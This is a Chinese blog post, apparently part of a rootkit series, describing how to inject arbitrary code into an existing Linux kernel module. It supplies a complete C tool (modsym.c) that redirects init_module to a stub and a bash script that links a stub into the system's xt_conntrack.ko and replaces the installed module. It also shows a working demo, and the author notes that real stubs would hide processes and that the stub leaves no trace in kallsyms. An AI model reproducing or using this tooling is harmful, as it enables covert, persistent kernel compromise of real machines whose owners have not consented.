前段时间从完成“实时获取系统中TCP半连接数量”这个永远无法上线的半吊子需求开始,一发不可收拾地栽进了Rootkit深坑,有点走火入魔,写了好多篇这方面的随笔并结识了很多朋友,感觉不错。

前面的系列文章中,大多数都是描述某个技术点的,而你想利用这个技术点做点实际的好事或者坏事,其实还有一段很长距离的路要走,比如:

* 谁给你的root权限?
* 你会编程并且编写Linux内核模块吗?
* 系统中有gcc和make吗?
* 内核模块要求签名验证吗?
* 经理姓刘吗?或者经理姓吴吗?
* …
以上的每一个单点都是易守难攻,所以说,把自己的Rootkit代码注入系统还是颇有难度的。

本文介绍一种简单的注入方法,即 将你的Rootkit代码注入到一个现有的Linux内核模块中。

很多初学者都干过一件事,即 修改ELF文件或者PE文件的入口函数,让它跳到自己的逻辑。

想做到这个其实很容易,将我们自己的stub
obj文件link到既有的可执行文件,然后修改文件的entry即可。只要手边有ELF文件或者PE文件的手册,还有什么不能改的呢。

有趣的是,对于Linux内核模块的注入,要比上面可执行文件的注入容易得多!

* 因为Linux内核模块根本不靠entry来确定入口,而是依靠init_module symbol确定入口的。
本文以一种轻松的方式叙述,和以往一样,依然不分析内核源码,我希望通过小实验来描述我想表达的东西。

Linux内核模块遵循了ELF文件格式,但是却自定义了加载和执行逻辑。

简单来讲,一个内核模块是通过查找init_module符号来定位入口的,而init_module则属于一个重定位section:
重定位节 '.rela.gnu.linkonce.this_module' 位于偏移量 0xea20 含有 2 个条目: 偏移量 信息 类型 符号值
符号名称 + 加数 000000000128 004500000001 R_X86_64_64 0000000000000017 init_module +
0 000000000228 004100000001 R_X86_64_64 0000000000000000 cleanup_module + 0
无论哪个模块都是这样。所谓的重定位段,就是在ELF中无法确认其地址,它的最终加载地址需要通过 重定位技术 来搞定。

init_module其实就是内核模块init函数的别名,重定位过程中它的最终地址由其在符号表的表项st_value字段决定!

当我们通过readelf -s读取一个内核模块文件时,我们会发现init_module:
39: 0000000000000000 18 FUNC GLOBAL DEFAULT 4 init_module
第二列那个全0的u64值就是它的st_value。

事情变得简单且有趣,我们只需要将init_module这个符号的st_value改成另一个函数func_stub符号的st_value,那么当模块加载时,就会调用func_stub了。通过ELF的格式解析,做到这个简直太容易了。

现在的问题是,如何把另一个函数func_stub塞进一个既有的内核模块呢?

这个倒也不难,用ld即可:
ld -r $(既有模块) $(hook模块) -o $(新模块)
最后,我们就可以去修改新模块的符号表项的st_value字段了,解析ELF文件即可完成任务。

首先给出我用来修改符号表项st_value字段的程序源码:
// modsym.c #include <stdlib.h> #include <stdio.h> #include <string.h> #include
<sys/mman.h> #include <fcntl.h> #include <elf.h> int main(int argc, char **argv)
{ int fd; char *mod; char *orig_func_name, *stub_func_name; unsigned int size, i
, j, shn, n; Elf64_Sym *syms, *sym, *init, *hook, *dup; Elf64_Shdr *shdrs, *shdr
; Elf64_Ehdr *ehdr; const char *strtab; init = hook = dup = NULL; orig_func_name
= argv[2]; stub_func_name = argv[3]; fd = open(argv[1], O_RDWR); size = lseek(fd
, 0L, SEEK_END); mod = mmap(NULL, size, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0)
; ehdr = (Elf64_Ehdr *)mod; shdrs = (Elf64_Shdr *)(mod + ehdr->e_shoff); shn =
ehdr->e_shnum == 0 ? shdrs[0].sh_size : ehdr->e_shnum; for (i = 0; i < shn; i++)
{ shdr = &shdrs[i]; if (shdr->sh_type == SHT_SYMTAB || shdr->sh_type ==
SHT_DYNSYM) { syms = (Elf64_Sym *)(mod + shdr->sh_offset); strtab = mod + shdrs[
shdr->sh_link].sh_offset; n = shdr->sh_size / shdr->sh_entsize; for (j = 0; j <
n; j++) { char stype; sym = &syms[j]; stype = ELF64_ST_TYPE(sym->st_info); if (
stype== STT_FUNC || stype == STT_NOTYPE) { if (!strcmp(strtab + sym->st_name,
"init_module")) { init = sym; } if (!strcmp(strtab + sym->st_name,
stub_func_name)) { hook = sym; } } if (stype == STT_NOTYPE) { if (!strcmp(strtab
+ sym->st_name, orig_func_name)) { dup = sym; } } } if (init && hook) { break; }
} } if (init && hook) { if (dup) { // 清理掉已经无用的extern符号 memcpy(dup, init, sizeof(
Elf64_Sym)); } printf(" @@@@@@@@ init func :%s %d %d\n", strtab + init->st_name,
ELF64_ST_BIND(init->st_info), STB_GLOBAL); init->st_value = hook->st_value; }
munmap(mod, size); }

代码很直接,就是找到init_module和我们的hook函数这两个符号项,用hook函数的st_value替换init_module的原始st_value,同时我们需要将stub模块里的extern符号清除掉。

来吧,让我们开始。

首先确认我们要注入的内核模块,我以下面的模块为例来实施注入:
/lib/modules/`uname -r`/kernel/net/netfilter/xt_conntrack.ko
下面是一个脚本:
#!/bin/bash # 备份,防止失败。 cp /lib/modules/`uname -r`
/kernel/net/netfilter/xt_conntrack.ko /lib/modules/`uname -r`
/kernel/net/netfilter/xt_conntrack.ko.bak# 用旧的模块做实验。 cp /lib/modules/`uname -r`
/kernel/net/netfilter/xt_conntrack.ko.bak /lib/modules/`uname -r`
/kernel/net/netfilter/xt_conntrack.ko# 合并stub模块到xt_conntrack.ko。 ld -r
/lib/modules/`uname -r`/kernel/net/netfilter/xt_conntrack.ko ./stub.ko -o
/lib/modules/`uname -r`/kernel/net/netfilter/xt_conntrack1.ko # 修改新模块中的符号表项。
./modsym /lib/modules/`uname -r`/kernel/net/netfilter/xt_conntrack1.ko
conntrack_mt_init test_stub# 用被注入的模块作为系统默认模块。 cp /lib/modules/`uname -r`
/kernel/net/netfilter/xt_conntrack1.ko /lib/modules/`uname -r`
/kernel/net/netfilter/xt_conntrack.kosync
在我的实验里,我只是为xt_conntrack.ko增加了一个模块参数,并且在加载这个模块前将其打印出来:
// stub.c #include <linux/module.h> extern int conntrack_mt_init(void); int
aaaa= 123; module_param(aaaa, uint, 0444); MODULE_PARM_DESC(aaaa, "......"); int
__inittest_stub(void) { printk("i am a stub, and my value is %d\n", aaaa);
return conntrack_mt_init(); } MODULE_LICENSE("GPL");
来来来,看效果:
[root@localhost test]# dmesg -c [root@localhost test]# service firewalld stop
Redirecting to /bin/systemctl stop firewalld.service[root@localhost test]#
service firewalld start Redirecting to /bin/systemctl start firewalld.service [
root@localhost test]# dmesg [ 8019.300351] Ebtables v2.0 unregistered [
8026.911602] ip_tables: (C) 2000-2006 Netfilter Core Team [ 8026.933152]
ip6_tables:(C) 2000-2006 Netfilter Core Team [ 8026.958643] Ebtables v2.0
registered[ 8026.991342] nf_conntrack version 0.5.0 (7941 buckets, 31764 max) [
8027.224429] i am a stub, and my value is 123 [root@localhost test]# cat
/sys/module/xt_conntrack/parameters/aaaa 123
哈哈,成功为xt_conntrack模块增加了一个参数aaaa,并在其init函数conntrack_mt_init被调用前打印了一句话以及aaaa的值。

如前面的系列文章,我们当然不可能在stub函数里做这么简单的事啊,至少也要隐藏个进程,inline
hook啥的。值得注意的是,我们的stub函数是_init修饰的,这意味着当它调用结束后,其内存将被清理掉,不留痕迹:
[root@localhost test]# cat /proc/kallsyms |grep test_stub [root@localhost test]
# echo $? 1
好玩吗?

我们把ELF文件的各个组成部分看作乐高玩具的话,我们甚至不需要拆解各个细节,单靠重新排列组合就可以构建出各种有趣的东西。

本文介绍的方法是 不需要编程的。
这是我等不懂编程的人的福音!modsym.c确实是一段C代码,但这并不算真正的编程,这只是生产工具的构建,而且这种代码,网上多得是。

经理呢?经理呢?

浙江温州皮鞋湿,下雨进水不会胖。

技术
©2019-2020 Toolsou All rights reserved,
Vue常用特性(一)百度、阿里、腾讯内部岗位级别和薪资结构,附带求职建议!【虚拟机踩坑记】此主机支持 Intel VT-x,但 Intel VT-x 处于禁用状态。苹果与日产对话暂停,Apple Car进展如何?一文揭秘阿里、腾讯、百度的薪资职级Java基础(冒泡排序)TP6验证器的使用示例及正确验证数据一年半JAVA工作经验的总结谷歌称居家办公影响工作效率!2021 年将回归线下办公这些歌,程序员千万万万万别听!